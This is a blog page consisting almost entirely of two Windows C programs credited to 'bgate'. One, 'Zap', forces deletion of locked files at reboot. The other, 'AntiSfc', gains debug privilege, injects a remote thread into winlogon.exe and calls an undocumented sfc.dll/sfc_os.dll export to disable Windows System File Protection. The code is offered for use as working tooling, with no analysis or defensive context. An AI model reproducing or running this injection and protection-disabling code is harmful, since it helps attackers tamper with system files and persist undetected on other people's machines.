鬼仔's Blog

BOOL ZapDelFile(char *szFileToDel)
{
char cTempFileName[0x80];
char cTempPathName[0x100];
char cFileName[0x100];

if(szFileToDel[1] == ':'){
sprintf(cTempPathName, "%c:\\", szFileToDel[0]);
}
else{
GetModuleFileName(NULL, cFileName, 0x100);
sprintf(cTempPathName, "%c:\\", cFileName[0]);
}

if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0){
return FALSE;
}

if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0){
return FALSE;
}

if(MoveFileEx(cTempFileName, NULL, 4) == 0){
return FALSE;
}

return TRUE;
}

void usage(char *n) {
printf("usage: %s fileNeedToDel\n", n);
exit(0);
}

int main(int argc, char* argv[])
{

printf("Zap programed by bgate. :) *\n\n");

if (argc != 2)
usage(argv[0]);

if(ZapDelFile(argv[1]) == TRUE){
printf("OK");
}
else{
printf("error %d", GetLastError());
}
return 0;
}

#include <stdlib.h>
#include "Windows.h"
#include "Tlhelp32.h"
#pragma comment( lib, "Advapi32.lib" )

typedef void (_stdcall * CLOSEEVENTS)(void);
typedef unsigned long DWORD;
typedef DWORD ANTISFC_ACCESS;

/*
* ANTISFC structures
*/

typedef struct _ANTISFC_PROCESS {
DWORD Pid; // process pid
HANDLE ProcessHandle; // process handle
char ImageName[MAX_PATH]; // image name (not full path)
} ANTISFC_PROCESS, *PANTISFC_PROCESS;

__inline void ErrorMessageBox(char *szAdditionInfo)
{
printf("error on %s, error code %d. \n", szAdditionInfo, GetLastError());
}

void usage(char *n) {
printf("usage: %s [/d]\n", n);
printf("\t/d: disable sfc file protecte fuction.\n");
exit(0);
}

DWORD Init() {
DWORD Ret = 0;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
ErrorMessageBox("OpenProcessToken");
} else {

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
ErrorMessageBox("LookupPrivilegeValue");
} else {

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
ErrorMessageBox("AdjustTokenPrivileges");
} else {
Ret = 1;
}
}
CloseHandle(hToken);
}

return(Ret);
}

DWORD GetPidEx(char *proc_name, char *full_path) {
DWORD dwPid=0;
HANDLE hSnapshot;
PROCESSENTRY32 pe;
BOOL Ret;

if (isdigit(proc_name[0]))
dwPid = strtoul(proc_name, NULL, 0);
else
dwPid = -1;

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == (HANDLE) -1){
ErrorMessageBox("CreateToolhelp32Snapshot");
return(0);
}

pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32First(hSnapshot, &pe);

while (Ret) {
if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)
|| (pe.th32ProcessID == dwPid)) {
dwPid = pe.th32ProcessID;
strcpy(full_path, pe.szExeFile);
break;
}
pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32Next(hSnapshot, &pe);
}

CloseHandle(hSnapshot);
if (dwPid == -1)
dwPid = 0;
return(dwPid);
}

DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) {
DWORD Ret=0;

Process->Pid = GetPidEx(proc_name, Process->ImageName);
if (Process->Pid != 0 && Process->ImageName[0] != 0) {
Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);
if (Process->ProcessHandle == NULL)
ErrorMessageBox("OpenProcess");
else
Ret = 1;
}

return(Ret);
}

DWORD InjectThread(PANTISFC_PROCESS Process,
PVOID function) {
HANDLE hThread;
DWORD dwThreadPid = 0, dwState;

hThread = CreateRemoteThread(Process->ProcessHandle,
NULL,
0,
(DWORD (__stdcall *) (void *)) function,
NULL,
0,
&dwThreadPid);
if (hThread == NULL) {
ErrorMessageBox("CreateRemoteThread");
goto cleanup;
}

dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes

switch (dwState) {
case WAIT_TIMEOUT:
case WAIT_FAILED:
ErrorMessageBox("WaitForSingleObject");
goto cleanup;

case WAIT_OBJECT_0:
break;

default:
ErrorMessageBox("WaitForSingleObject");
goto cleanup;
}

CloseHandle(hThread);
return dwThreadPid;

cleanup:
CloseHandle(hThread);

return 0;
}

int main(int argc, char* argv[])
{
ANTISFC_PROCESS Process;
HMODULE hSfc;
DWORD dwThread;
CLOSEEVENTS pfnCloseEvents;
DWORD dwVersion;

printf("AntiSfc programed by bgate. :) *\n\n");

if (argc != 2)
usage(argv[0]);

if (strcmp(argv[1], "/d") != 0) {
usage(argv[0]);
}

if (Init()) {
printf("debug privilege set\n");
} else {
printf("error on get debug privilege\n");
return(0);
}

if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) {
printf("error on get process info. \n");
return(0);
}

dwVersion = GetVersion();
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){ //Windows 2000
hSfc = LoadLibrary("sfc.dll");
printf("Win2000\n");
}
else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
hSfc = LoadLibrary("sfc_os.dll");
printf("Windows XP\n");
}
}
//else if () //2003?
else {
printf("unsupported version\n");
}

pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,
MAKEINTRESOURCE(2));
if(pfnCloseEvents == NULL){
printf("Load the sfc fuction failed\n");
FreeLibrary(hSfc);
return(0);
}

FreeLibrary(hSfc);

dwThread = InjectThread(&Process,
pfnCloseEvents);

if(dwThread == 0){
printf("failed\n");
}
else{
printf("OK\n");
}

CloseHandle(Process.ProcessHandle);
return(0);

}